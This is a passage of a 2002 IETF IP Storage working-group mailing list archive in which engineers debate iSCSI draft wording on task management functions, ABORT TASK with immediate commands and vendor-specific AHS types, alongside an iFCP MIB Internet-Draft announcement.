--=_alternative 0059F00CC2256C25_=-- From owner-ips@ece.cmu.edu Fri Aug 30 12:57:12 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25469 for ; Fri, 30 Aug 2002 12:57:12 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UGYB127138 for ips-outgoing; Fri, 30 Aug 2002 12:34:11 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UGY6o27121 for ; Fri, 30 Aug 2002 12:34:06 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7UGXveB039530; Fri, 30 Aug 2002 18:33:57 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7UGXuba041688; Fri, 30 Aug 2002 18:33:56 +0200 To: Black_David@emc.com Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu, tonyb@cybernetics.com MIME-Version: 1.0 Subject: RE: Several iSCSI protocol questions X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 30 Aug 2002 19:33:53 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 30/08/2002 19:33:56, Serialize complete at 30/08/2002 19:33:56 Content-Type: multipart/alternative; boundary="=_alternative 005AF798C2256C25_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 005AF798C2256C25_= Content-Type: text/plain; charset="us-ascii" I already answered to this. This is a result of using ITT for everything. We considered it several times (adding a reject code) but the we thought that the "good side-effects" outweight the bad (e.g., you can do a TASK SET CLEANUP including an TASK ABORT) and it is not worth adding reject code (mainly not worth testing for it). I fail to see a scenario where it can do unintentional harm. Julo Black_David@emc.com Sent by: owner-ips@ece.cmu.edu 30/08/02 17:58 To: tonyb@cybernetics.com, ips@ece.cmu.edu cc: Subject: RE: Several iSCSI protocol questions > > > Since the Task Management Function itself has a CmdSN and > > > valid LUN, can one > > > Task Management Function affect (abort) another? > > > > No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI* > > tasks, and a task management function is not a *SCSI* task - see SAM-2. > > This contradicts the text in Section 9.5.1: "The Task Management functions > provide an initiator with a way to explicitly control the execution of one > or more Tasks (SCSI and iSCSI tasks)." Your interpretation makes more sense > to me, however. And there's more text further down in 9.5.1 that seems to imply that one ought to be able to abort a Task Management Function. All these functions apply to the referenced tasks regard- less of whether they are proper SCSI tasks or tagged iSCSI opera- tions. I think you've caught something we need to fix ... > > > If not, then what is the > > > appropriate Task Management Function Response for an ABORT TASK that > > > attempts to operate on another Task Management Function? > > > > That can't happen. The only task management function that could possibly > > attempt "to operate on another Task Management Function" is ABORT TASK, but > > it identifies the task to be aborted by an Initiator Task Tag, something > > that Task Management Functions *do not* have - see Section > > 9.5 of the iSCSI draft. > > I am looking at Section 9.5. I see "Initiator Task Tag" in the table > showing the PDU format, although it is not mentioned in the > text. Another typo? My mistake - I think we have some text cleanup to do, as SAM-2 definitely considers task management functions not to be tasks, thus avoiding issues of what happens when a task management function is applied to a task management function - I believe iSCSI needs to follow this route. Julian? Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- --=_alternative 005AF798C2256C25_= Content-Type: text/html; charset="us-ascii"
I already answered to this.

This is a result of using ITT for everything.

We considered it several times (adding a reject code) but the we thought that
the "good side-effects" outweight the bad (e.g., you can do a TASK SET CLEANUP including an TASK ABORT) and it is not worth adding reject code (mainly not worth testing for it).  I fail to see a scenario where it can do unintentional harm.

Julo


Black_David@emc.com
Sent by: owner-ips@ece.cmu.edu

30/08/02 17:58

       
        To:        tonyb@cybernetics.com, ips@ece.cmu.edu
        cc:        
        Subject:        RE: Several iSCSI protocol questions

       


> > > Since the Task Management Function itself has a CmdSN and
> > > valid LUN, can one
> > > Task Management Function affect (abort) another?
> >
> > No, SCSI task management functions operate on *SCSI* tasks, not *iSCSI*
> > tasks, and a task management function is not a *SCSI* task - see SAM-2.
>
> This contradicts the text in Section 9.5.1: "The Task Management functions
> provide an initiator with a way to explicitly control the execution of one
> or more Tasks (SCSI and iSCSI tasks)."  Your interpretation makes more
sense
> to me, however.

And there's more text further down in 9.5.1 that seems to imply that
one ought to be able to abort a Task Management Function.

 All these functions apply to the referenced tasks regard-
 less of whether they are proper SCSI tasks or tagged iSCSI opera-
 tions.

I think you've caught something we need to fix ...

> > > If not, then what is the
> > > appropriate Task Management Function Response for an ABORT TASK that
> > > attempts to operate on another Task Management Function?
> >
> > That can't happen.  The only task management function that could
possibly
> > attempt "to operate on another Task Management Function" is ABORT TASK,
but
> > it identifies the task to be aborted by an Initiator Task Tag, something
> > that Task Management Functions *do not* have - see Section
> > 9.5 of the iSCSI draft.
>
> I am looking at Section 9.5.  I see "Initiator Task Tag" in the table
> showing the PDU format, although it is not mentioned in the
> text.  Another typo?

My mistake - I think we have some text cleanup to do, as SAM-2 definitely
considers task management functions not to be tasks, thus avoiding issues
of what happens when a task management function is applied to a task
management function - I believe iSCSI needs to follow this route.  Julian?

Thanks,
--David
---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

--=_alternative 005AF798C2256C25_=-- From owner-ips@ece.cmu.edu Fri Aug 30 13:45:39 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27535 for ; Fri, 30 Aug 2002 13:45:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UHGsW00239 for ips-outgoing; Fri, 30 Aug 2002 13:16:54 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (host02.cybernetics.com [206.246.200.18] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UHGno00221 for ; Fri, 30 Aug 2002 13:16:49 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119053>; Fri, 30 Aug 2002 13:16:35 -0400 Reply-To: From: "Tony Battersby" To: Subject: iSCSI: aborting an immediate command with ABORT TASK Date: Fri, 30 Aug 2002 13:16:36 -0400 Message-ID: <001101c25048$ffd98cb0$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71E0564C241@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit It seems that an initiator attempting to abort an immediate command may inadvertently cause the next non-immediate command to be aborted instead. For example, Initiator sends an immediate command "A" with CmdSN 10. Initiator sends a non-immediate command "B" with CmdSN 10. Initiator sends an immediate ABORT TASK command "C" with CmdSN 11 to abort command "A" (RefCmdSN == 10, Referenced Task Tag == Initiator Task Tag of "A"). If the target either: 1) Receives "C" before "A" or "B", OR 2) Receives "C" before "B" but after executing and freeing "A", ...then the target will not have a matching task for the abort in its queue, and will consider CmdSN 10 received because it is inside the valid CmdSN window. If the target then receives "B", it will silently ignore the command because it is outside the valid CmdSN window. This is obviously not what the initiator was trying to accomplish. This problem could be solved by adding a flag to the PDU for the ABORT TASK command to indicate if the task to be aborted is immediate or non-immediate. If the target does not have a matching task and the RefCmdSN is inside the valid command window, then the target should consider the CmdSN received only if the flag indicates that the task to be aborted is non-immediate. ----------------------- One other thing: for draft 16, I recommend that the the following phrase: "... (i.e., with CmdSN not higher than the task management command CmdSN) ..." in section 9.5.1 be changed to: "... (i.e., with CmdSN lower than the task management command CmdSN) ...". This is for consistency with another sentence earlier in the same paragraph. Anthony J. Battersby Cybernetics From owner-ips@ece.cmu.edu Fri Aug 30 13:48:24 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27703 for ; Fri, 30 Aug 2002 13:48:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UHh5802095 for ips-outgoing; Fri, 30 Aug 2002 13:43:05 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UBpDo08373 for ; Fri, 30 Aug 2002 07:51:14 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA12258; Fri, 30 Aug 2002 07:49:40 -0400 (EDT) Message-Id: <200208301149.HAA12258@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ips@ece.cmu.edu From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ips-ifcp-mib-02.txt Date: Fri, 30 Aug 2002 07:49:40 -0400 Sender: owner-ips@ece.cmu.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Definitions of Managed Objects For iFCP Author(s) : K. Gibbons, C. Monia, J. Tseng, F. Travostino Filename : draft-ietf-ips-ifcp-mib-02.txt Pages : 23 Date : 2002-8-29 This memo defines a portion of the Management Information Base (MIB) for use with network management protocols in the Internet community. In particular, it defines a basic set of managed objects for SNMP-based monitoring and management of the Internet Fibre Channel Protocol (iFCP). This memo specifies a MIB module in a manner that is compliant to the SMIv2. The set of objects is consistent with the SNMP framework and existing SNMP standards. This memo is a product of the IP Storage (IPS) working group within the Internet Engineering Task Force. Comments are solicited and should be addressed to the working group's mailing list at ips@ece.cmu.edu and/or the authors. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-ifcp-mib-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-ifcp-mib-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-ifcp-mib-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-8-29142317.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ips-ifcp-mib-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ips-ifcp-mib-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-8-29142317.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ips@ece.cmu.edu Fri Aug 30 14:25:29 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA29366 for ; Fri, 30 Aug 2002 14:25:29 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UHvvK03234 for ips-outgoing; Fri, 30 Aug 2002 13:57:57 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from ariel.nishansystems.com (ultrex.nishansystems.com [12.36.127.195]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UHvto03230 for ; Fri, 30 Aug 2002 13:57:55 -0400 (EDT) Received: by ariel.nishansystems.com with Internet Mail Service (5.5.2653.19) id ; Fri, 30 Aug 2002 10:57:49 -0700 Message-ID: From: Kevin Gibbons To: ips@ece.cmu.edu Subject: IFCP: I-D ACTION:draft-ietf-ips-ifcp-mib-02.txt Date: Fri, 30 Aug 2002 10:57:47 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk The authors of the iFCP MIB draft believe it is ready for WG Last Call. If you find issues or have questions please let us know. -- Kevin -----Original Message----- From: Internet-Drafts@ietf.org [mailto:Internet-Drafts@ietf.org] Sent: Friday, August 30, 2002 4:50 AM Cc: ips@ece.cmu.edu Subject: I-D ACTION:draft-ietf-ips-ifcp-mib-02.txt A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Storage Working Group of the IETF. Title : Definitions of Managed Objects For iFCP Author(s) : K. Gibbons, C. Monia, J. Tseng, F. Travostino Filename : draft-ietf-ips-ifcp-mib-02.txt Pages : 23 Date : 2002-8-29 This memo defines a portion of the Management Information Base (MIB) for use with network management protocols in the Internet community. In particular, it defines a basic set of managed objects for SNMP-based monitoring and management of the Internet Fibre Channel Protocol (iFCP). This memo specifies a MIB module in a manner that is compliant to the SMIv2. The set of objects is consistent with the SNMP framework and existing SNMP standards. This memo is a product of the IP Storage (IPS) working group within the Internet Engineering Task Force. Comments are solicited and should be addressed to the working group's mailing list at ips@ece.cmu.edu and/or the authors. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ips-ifcp-mib-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ips-ifcp-mib-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ips-ifcp-mib-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. From owner-ips@ece.cmu.edu Fri Aug 30 14:31:13 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA29767 for ; Fri, 30 Aug 2002 14:31:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UIFba04658 for ips-outgoing; Fri, 30 Aug 2002 14:15:37 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UIFWo04646; Fri, 30 Aug 2002 14:15:32 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7UIFPeB017388; Fri, 30 Aug 2002 20:15:25 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7UIFPv4017898; Fri, 30 Aug 2002 20:15:25 +0200 To: Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: iSCSI: aborting an immediate command with ABORT TASK X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 30 Aug 2002 21:15:23 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 30/08/2002 21:15:24, Serialize complete at 30/08/2002 21:15:24 Content-Type: multipart/alternative; boundary="=_alternative 006445CBC2256C25_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 006445CBC2256C25_= Content-Type: text/plain; charset="us-ascii" Tony, As it was already pointed out CmSN is a SECONDARY identifier - the primary being the Referenced Task Tag. I was introduced to simplify handling holes (commands discarded or arriving late). In your example A and B have different ITT or one of them gets bumped. Julo "Tony Battersby" Sent by: owner-ips@ece.cmu.edu 30/08/02 20:16 Please respond to tonyb To: cc: Subject: iSCSI: aborting an immediate command with ABORT TASK It seems that an initiator attempting to abort an immediate command may inadvertently cause the next non-immediate command to be aborted instead. For example, Initiator sends an immediate command "A" with CmdSN 10. Initiator sends a non-immediate command "B" with CmdSN 10. Initiator sends an immediate ABORT TASK command "C" with CmdSN 11 to abort command "A" (RefCmdSN == 10, Referenced Task Tag == Initiator Task Tag of "A"). If the target either: 1) Receives "C" before "A" or "B", OR 2) Receives "C" before "B" but after executing and freeing "A", ...then the target will not have a matching task for the abort in its queue, and will consider CmdSN 10 received because it is inside the valid CmdSN window. If the target then receives "B", it will silently ignore the command because it is outside the valid CmdSN window. This is obviously not what the initiator was trying to accomplish. This problem could be solved by adding a flag to the PDU for the ABORT TASK command to indicate if the task to be aborted is immediate or non-immediate. If the target does not have a matching task and the RefCmdSN is inside the valid command window, then the target should consider the CmdSN received only if the flag indicates that the task to be aborted is non-immediate. ----------------------- One other thing: for draft 16, I recommend that the the following phrase: "... (i.e., with CmdSN not higher than the task management command CmdSN) ..." in section 9.5.1 be changed to: "... (i.e., with CmdSN lower than the task management command CmdSN) ...". This is for consistency with another sentence earlier in the same paragraph. Anthony J. Battersby Cybernetics --=_alternative 006445CBC2256C25_= Content-Type: text/html; charset="us-ascii"
Tony,

As it was already pointed out CmSN is a SECONDARY identifier - the primary being the Referenced Task Tag.
I was introduced to simplify handling holes (commands discarded or arriving late).
In your example A and B have different ITT or one of them gets bumped.

Julo



"Tony Battersby" <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu

30/08/02 20:16
Please respond to tonyb

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        iSCSI: aborting an immediate command with ABORT TASK

       


It seems that an initiator attempting to abort an immediate command may
inadvertently cause the next non-immediate command to be aborted instead.
For example,

Initiator sends an immediate command "A" with CmdSN 10.
Initiator sends a non-immediate command "B" with CmdSN 10.
Initiator sends an immediate ABORT TASK command "C" with CmdSN 11 to abort
command "A" (RefCmdSN == 10, Referenced Task Tag == Initiator Task Tag of
"A").

If the target either:
1) Receives "C" before "A" or "B", OR
2) Receives "C" before "B" but after executing and freeing "A",

...then the target will not have a matching task for the abort in its queue,
and will consider CmdSN 10 received because it is inside the valid CmdSN
window.  If the target then receives "B", it will silently ignore the
command because it is outside the valid CmdSN window.  This is obviously not
what the initiator was trying to accomplish.

This problem could be solved by adding a flag to the PDU for the ABORT TASK
command to indicate if the task to be aborted is immediate or non-immediate.
If the target does not have a matching task and the RefCmdSN is inside the
valid command window, then the target should consider the CmdSN received
only if the flag indicates that the task to be aborted is non-immediate.

-----------------------

One other thing: for draft 16, I recommend that the the following phrase:
"... (i.e., with CmdSN not higher than the task management command CmdSN)
..."
in section 9.5.1 be changed to:
"... (i.e., with CmdSN lower than the task management command CmdSN) ...".
This is for consistency with another sentence earlier in the same paragraph.


Anthony J. Battersby
Cybernetics

--=_alternative 006445CBC2256C25_=-- From owner-ips@ece.cmu.edu Fri Aug 30 15:09:37 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA01540 for ; Fri, 30 Aug 2002 15:09:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UIU9U05902 for ips-outgoing; Fri, 30 Aug 2002 14:30:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cybernetics.com (host02.cybernetics.com [206.246.200.18] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UIU1o05884 for ; Fri, 30 Aug 2002 14:30:01 -0400 (EDT) Received: from condor ([137.157.1.224]) by cyborg.cybernetics.com with SMTP id <119053>; Fri, 30 Aug 2002 14:29:43 -0400 Reply-To: From: "Tony Battersby" To: "'Julian Satran'" Cc: Subject: RE: iSCSI: aborting an immediate command with ABORT TASK Date: Fri, 30 Aug 2002 14:29:43 -0400 Message-ID: <001c01c25053$3672b530$e0019d89@cybernetics.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001D_01C25031.AF611530" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C25031.AF611530 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit In my example, the command with the Initiator Task Tag matching the Referenced Task Tag is not at the target. When the target considers the command with RefCmdSN received, it assumes _incorrectly_ that the command with RefCmdSN must have Initiator Task Tag == Referenced Task Tag. That assumption can be incorrect when immediate commands are used because multiple commands with different Initiator Task Tags can have the same CmdSN. This is just another way of looking at the problem, but the problem still exists. -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, August 30, 2002 2:15 PM To: tonyb@cybernetics.com Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu Subject: Re: iSCSI: aborting an immediate command with ABORT TASK Tony, As it was already pointed out CmSN is a SECONDARY identifier - the primary being the Referenced Task Tag. I was introduced to simplify handling holes (commands discarded or arriving late). In your example A and B have different ITT or one of them gets bumped. Julo "Tony Battersby" Sent by: owner-ips@ece.cmu.edu 30/08/02 20:16 Please respond to tonyb To: cc: Subject: iSCSI: aborting an immediate command with ABORT TASK It seems that an initiator attempting to abort an immediate command may inadvertently cause the next non-immediate command to be aborted instead. For example, Initiator sends an immediate command "A" with CmdSN 10. Initiator sends a non-immediate command "B" with CmdSN 10. Initiator sends an immediate ABORT TASK command "C" with CmdSN 11 to abort command "A" (RefCmdSN == 10, Referenced Task Tag == Initiator Task Tag of "A"). If the target either: 1) Receives "C" before "A" or "B", OR 2) Receives "C" before "B" but after executing and freeing "A", ...then the target will not have a matching task for the abort in its queue, and will consider CmdSN 10 received because it is inside the valid CmdSN window. If the target then receives "B", it will silently ignore the command because it is outside the valid CmdSN window. This is obviously not what the initiator was trying to accomplish. This problem could be solved by adding a flag to the PDU for the ABORT TASK command to indicate if the task to be aborted is immediate or non-immediate. If the target does not have a matching task and the RefCmdSN is inside the valid command window, then the target should consider the CmdSN received only if the flag indicates that the task to be aborted is non-immediate. ----------------------- One other thing: for draft 16, I recommend that the the following phrase: "... (i.e., with CmdSN not higher than the task management command CmdSN) ..." in section 9.5.1 be changed to: "... (i.e., with CmdSN lower than the task management command CmdSN) ...". This is for consistency with another sentence earlier in the same paragraph. Anthony J. Battersby Cybernetics ------=_NextPart_000_001D_01C25031.AF611530 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

In my = example, the=20 command with the Initiator Task Tag matching the Referenced Task Tag is = not at=20 the target.  When the target considers the command with = RefCmdSN=20 received, it assumes _incorrectly_ that the command with RefCmdSN must = have=20 Initiator Task Tag =3D=3D Referenced Task Tag.  That assumption can = be incorrect when immediate commands are used because multiple = commands with different Initiator Task Tags can have the same = CmdSN.  This=20 is just another way of looking at the problem, but the problem still=20 exists.
 
 
  -----Original=20 Message-----
From: Julian Satran=20 [mailto:Julian_Satran@il.ibm.com]
Sent: Friday, August 30, = 2002 2:15=20 PM
To: tonyb@cybernetics.com
Cc: ips@ece.cmu.edu;=20 owner-ips@ece.cmu.edu
Subject: Re: iSCSI: aborting an = immediate=20 command with ABORT TASK

Tony,

As it was = already=20 pointed out CmSN is a SECONDARY identifier - the primary being the = Referenced=20 Task Tag.
I was introduced = to simplify=20 handling holes (commands discarded or arriving late).
In your example A and B have different ITT or = one of them=20 gets bumped.

Julo =



"Tony Battersby"=20 <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu=20

30/08/02 20:16 =
Please respond to tonyb

        =
        To:   =  =20    <ips@ece.cmu.edu>
        cc:       =  =20
        = Subject:=20        iSCSI: aborting an immediate command = with ABORT=20 TASK

    =  =20  


It=20 seems that an initiator attempting to abort an immediate command=20 may
inadvertently cause the next non-immediate command to be aborted=20 instead.
For example,

Initiator sends an immediate command "A" = with=20 CmdSN 10.
Initiator sends a non-immediate command "B" with CmdSN=20 10.
Initiator sends an immediate ABORT TASK command "C" with CmdSN 11 = to=20 abort
command "A" (RefCmdSN =3D=3D 10, Referenced Task Tag =3D=3D = Initiator Task Tag=20 of
"A").

If the target either:
1) Receives "C" before "A" = or "B",=20 OR
2) Receives "C" before "B" but after executing and freeing=20 "A",

...then the target will not have a matching task for the = abort in=20 its queue,
and will consider CmdSN 10 received because it is inside = the valid=20 CmdSN
window.  If the target then receives "B", it will silently = ignore=20 the
command because it is outside the valid CmdSN window.  This = is=20 obviously not
what the initiator was trying to = accomplish.

This=20 problem could be solved by adding a flag to the PDU for the ABORT=20 TASK
command to indicate if the task to be aborted is immediate or=20 non-immediate.
If the target does not have a matching task and the = RefCmdSN=20 is inside the
valid command window, then the target should consider = the CmdSN=20 received
only if the flag indicates that the task to be aborted is=20 non-immediate.

-----------------------

One other thing: = for draft=20 16, I recommend that the the following phrase:
"... (i.e., with CmdSN = not=20 higher than the task management command CmdSN)
..."
in section = 9.5.1 be=20 changed to:
"... (i.e., with CmdSN lower than the task management = command=20 CmdSN) ...".
This is for consistency with another sentence earlier in = the=20 same paragraph.


Anthony J.=20 Battersby
Cybernetics



------=_NextPart_000_001D_01C25031.AF611530-- From owner-ips@ece.cmu.edu Fri Aug 30 16:13:29 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA03935 for ; Fri, 30 Aug 2002 16:13:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g7UJbxr11222 for ips-outgoing; Fri, 30 Aug 2002 15:37:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lion.ninthwonder.com (lion.ninthwonder.com [151.199.66.147]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7UJbuo11214 for ; Fri, 30 Aug 2002 15:37:57 -0400 (EDT) Received: by lion.ninthwonder.com (Postfix, from userid 1021) id 73E4730714; Fri, 30 Aug 2002 15:37:56 -0400 (EDT) Date: Fri, 30 Aug 2002 12:31:28 -0700 (PDT) From: Bill Studenmund X-X-Sender: To: Tony Battersby Cc: , Subject: RE: Several iSCSI protocol questions In-Reply-To: <000801c25032$5c38ac00$e0019d89@cybernetics.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk On Fri, 30 Aug 2002, Tony Battersby wrote: > > -----Original Message----- > > From: Black_David@emc.com [mailto:Black_David@emc.com] > > Sent: Friday, August 30, 2002 10:05 AM > > To: tonyb@cybernetics.com; ips@ece.cmu.edu > > Subject: RE: Several iSCSI protocol questions > > Such a target is broken (if an AHS is allowed, the target has to > > expect that it might be present and be prepared to do whatever > > is necessary), and should be fixed. > > > Let me give a better example: Section 9.2.2.1, AHSType, lists "60- 63 > Non-iSCSI extensions". What should the target do if it comes across an AHS > with an AHSType of 60? Is there some other document specifying what these > codes mean? I had taken those AHS types to be vendor-specific. As such, I think it's wrong for the initiator to have used one of them before negotiating with the target to use it. And since negotiation happens before FFP, well, there should be no qestion on if it's been negotiated or not. :-) Take care, Bill From owner-ips@ece.cmu.edu Fri Aug 30 19:58:15 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09706 for ; Fri, 30 Aug 2002 19:58:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id 